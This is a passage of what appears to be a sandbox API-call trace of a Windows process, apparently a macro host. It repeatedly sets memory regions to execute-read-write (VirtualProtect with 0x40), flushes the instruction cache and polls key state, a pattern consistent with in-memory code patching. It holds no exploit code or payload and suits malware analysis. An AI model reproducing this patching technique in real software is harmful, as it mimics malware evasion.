returned 1 [0085.168] GetCurrentProcess () returned 0xffffffff [0085.168] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0085.168] GetCurrentProcess () returned 0xffffffff [0085.168] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0085.168] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.169] GetCurrentProcess () returned 0xffffffff [0085.169] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0085.169] GetCurrentProcess () returned 0xffffffff [0085.169] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0085.169] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.169] GetCurrentProcess () returned 0xffffffff [0085.169] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0085.169] GetCurrentProcess () returned 0xffffffff [0085.169] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0085.169] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.170] GetCurrentProcess () returned 0xffffffff [0085.170] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0085.170] GetCurrentProcess () returned 0xffffffff [0085.170] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0085.170] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.170] GetCurrentProcess () returned 0xffffffff [0085.170] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0085.170] GetCurrentProcess () returned 0xffffffff [0085.170] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0085.170] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.171] GetCurrentProcess () returned 0xffffffff [0085.171] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0085.171] GetCurrentProcess () returned 0xffffffff [0085.171] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0085.171] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.171] GetCurrentProcess () returned 0xffffffff [0085.171] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0085.171] GetCurrentProcess () returned 0xffffffff [0085.171] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0085.171] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.172] GetCurrentProcess () returned 0xffffffff [0085.172] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0085.172] GetCurrentProcess () returned 0xffffffff [0085.172] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0085.172] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.172] GetCurrentProcess () returned 0xffffffff [0085.172] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0085.172] GetCurrentProcess () returned 0xffffffff [0085.172] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0085.172] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.173] GetCurrentProcess () returned 0xffffffff [0085.173] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0085.173] GetCurrentProcess () returned 0xffffffff [0085.173] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0085.173] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.173] GetCurrentProcess () returned 0xffffffff [0085.173] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0085.173] GetCurrentProcess () returned 0xffffffff [0085.173] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0085.173] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.174] GetCurrentProcess () returned 0xffffffff [0085.174] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0085.174] GetCurrentProcess () returned 0xffffffff [0085.174] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0085.174] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0085.174] GetCurrentProcess () returned 0xffffffff [0085.174] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0085.175] GetAsyncKeyState (vKey=3) returned 0 [0085.175] CRetailMalloc_Alloc () returned 0xcad9cf8 [0085.175] memcpy (in: _Dst=0xfa54f38, _Src=0x1977bc, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.175] memcpy (in: _Dst=0xcad9d18, _Src=0x197824, _Size=0x18 | out: _Dst=0xcad9d18) returned 0xcad9d18 [0085.176] CRetailMalloc_Realloc () returned 0xcad9cf8 [0085.176] CRetailMalloc_Free () returned 0x1 [0085.176] GetCurrentProcess () returned 0xffffffff [0085.176] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0085.176] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.176] GetCurrentProcess () returned 0xffffffff [0085.176] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0085.176] GetCurrentProcess () returned 0xffffffff [0085.176] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0085.176] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.177] GetCurrentProcess () returned 0xffffffff [0085.177] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0085.177] GetCurrentProcess () returned 0xffffffff [0085.177] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0085.177] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.177] GetCurrentProcess () returned 0xffffffff [0085.177] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0085.177] GetCurrentProcess () returned 0xffffffff [0085.177] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0085.177] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.178] GetCurrentProcess () returned 0xffffffff [0085.178] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0085.178] GetCurrentProcess () returned 0xffffffff [0085.178] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0085.178] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.178] GetCurrentProcess () returned 0xffffffff [0085.178] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0085.178] GetCurrentProcess () returned 0xffffffff [0085.178] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0085.178] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.179] GetCurrentProcess () returned 0xffffffff [0085.179] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0085.179] GetCurrentProcess () returned 0xffffffff [0085.179] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0085.179] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.179] GetCurrentProcess () returned 0xffffffff [0085.179] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0085.179] GetCurrentProcess () returned 0xffffffff [0085.179] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0085.179] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.180] GetCurrentProcess () returned 0xffffffff [0085.180] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0085.180] GetCurrentProcess () returned 0xffffffff [0085.180] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0085.180] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.182] GetCurrentProcess () returned 0xffffffff [0085.182] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0085.182] GetCurrentProcess () returned 0xffffffff [0085.182] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0085.182] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.182] GetCurrentProcess () returned 0xffffffff [0085.182] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0085.182] GetCurrentProcess () returned 0xffffffff [0085.182] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0085.183] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.183] GetCurrentProcess () returned 0xffffffff [0085.183] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0085.183] GetCurrentProcess () returned 0xffffffff [0085.183] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0085.183] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.184] GetCurrentProcess () returned 0xffffffff [0085.184] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0085.184] GetCurrentProcess () returned 0xffffffff [0085.184] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0085.184] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.184] GetCurrentProcess () returned 0xffffffff [0085.184] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0085.184] GetCurrentProcess () returned 0xffffffff [0085.184] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0085.184] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.185] GetCurrentProcess () returned 0xffffffff [0085.185] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0085.185] GetCurrentProcess () returned 0xffffffff [0085.185] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0085.185] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.185] GetCurrentProcess () returned 0xffffffff [0085.185] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0085.185] GetCurrentProcess () returned 0xffffffff [0085.186] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0085.186] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.186] GetCurrentProcess () returned 0xffffffff [0085.186] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0085.186] GetCurrentProcess () returned 0xffffffff [0085.186] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0085.186] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.186] GetCurrentProcess () returned 0xffffffff [0085.187] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0085.187] GetCurrentProcess () returned 0xffffffff [0085.187] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0085.187] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.187] GetCurrentProcess () returned 0xffffffff [0085.187] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0085.187] GetCurrentProcess () returned 0xffffffff [0085.187] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0085.187] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.188] GetCurrentProcess () returned 0xffffffff [0085.188] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0085.188] GetCurrentProcess () returned 0xffffffff [0085.188] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0085.188] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.188] GetCurrentProcess () returned 0xffffffff [0085.188] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0085.188] GetCurrentProcess () returned 0xffffffff [0085.188] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0085.188] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.189] GetCurrentProcess () returned 0xffffffff [0085.189] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0085.189] GetCurrentProcess () returned 0xffffffff [0085.189] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0085.189] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.189] GetCurrentProcess () returned 0xffffffff [0085.189] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0085.189] GetCurrentProcess () returned 0xffffffff [0085.189] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0085.189] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.190] GetCurrentProcess () returned 0xffffffff [0085.190] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0085.190] GetCurrentProcess () returned 0xffffffff [0085.190] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0085.190] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.190] GetCurrentProcess () returned 0xffffffff [0085.190] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0085.190] GetCurrentProcess () returned 0xffffffff [0085.190] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0085.191] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.191] GetCurrentProcess () returned 0xffffffff [0085.191] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0085.191] GetCurrentProcess () returned 0xffffffff [0085.191] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0085.191] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.192] GetCurrentProcess () returned 0xffffffff [0085.192] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0085.192] GetCurrentProcess () returned 0xffffffff [0085.192] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0085.192] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.192] GetCurrentProcess () returned 0xffffffff [0085.192] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0085.192] GetCurrentProcess () returned 0xffffffff [0085.192] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0085.192] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.193] GetCurrentProcess () returned 0xffffffff [0085.193] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0085.193] GetCurrentProcess () returned 0xffffffff [0085.193] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0085.193] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.193] GetCurrentProcess () returned 0xffffffff [0085.193] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0085.193] GetCurrentProcess () returned 0xffffffff [0085.193] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0085.193] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.194] GetCurrentProcess () returned 0xffffffff [0085.194] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0085.194] GetCurrentProcess () returned 0xffffffff [0085.194] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0085.194] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974cc | out: lpflOldProtect=0x1974cc*=0x40) returned 1 [0085.194] GetCurrentProcess () returned 0xffffffff [0085.194] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0085.195] GetAsyncKeyState (vKey=3) returned 0 [0085.195] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.195] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.195] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.195] CRetailMalloc_Alloc () returned 0xcae4190 [0085.195] memcpy (in: _Dst=0xfa54f38, _Src=0x1976bc, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.195] memcpy (in: _Dst=0xcae41b0, _Src=0x197724, _Size=0x18 | out: _Dst=0xcae41b0) returned 0xcae41b0 [0085.195] CRetailMalloc_Realloc () returned 0xcae4190 [0085.195] CRetailMalloc_Free () returned 0x1 [0085.195] GetCurrentProcess () returned 0xffffffff [0085.195] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0085.196] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.196] GetCurrentProcess () returned 0xffffffff [0085.196] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0085.196] GetCurrentProcess () returned 0xffffffff [0085.196] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0085.196] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.197] GetCurrentProcess () returned 0xffffffff [0085.197] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0085.197] GetCurrentProcess () returned 0xffffffff [0085.197] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0085.197] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.197] GetCurrentProcess () returned 0xffffffff [0085.197] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0085.197] GetCurrentProcess () returned 0xffffffff [0085.197] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0085.197] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.198] GetCurrentProcess () returned 0xffffffff [0085.198] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0085.198] GetCurrentProcess () returned 0xffffffff [0085.198] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0085.198] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.198] GetCurrentProcess () returned 0xffffffff [0085.198] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0085.198] GetCurrentProcess () returned 0xffffffff [0085.198] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0085.199] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.199] GetCurrentProcess () returned 0xffffffff [0085.199] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0085.199] GetCurrentProcess () returned 0xffffffff [0085.199] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0085.199] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.199] GetCurrentProcess () returned 0xffffffff [0085.199] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0085.199] GetCurrentProcess () returned 0xffffffff [0085.199] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0085.199] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.200] GetCurrentProcess () returned 0xffffffff [0085.200] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0085.200] GetCurrentProcess () returned 0xffffffff [0085.200] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0085.200] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.200] GetCurrentProcess () returned 0xffffffff [0085.200] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0085.200] GetCurrentProcess () returned 0xffffffff [0085.200] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0085.200] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.201] GetCurrentProcess () returned 0xffffffff [0085.201] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0085.201] GetCurrentProcess () returned 0xffffffff [0085.201] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0085.201] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.201] GetCurrentProcess () returned 0xffffffff [0085.201] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0085.201] GetCurrentProcess () returned 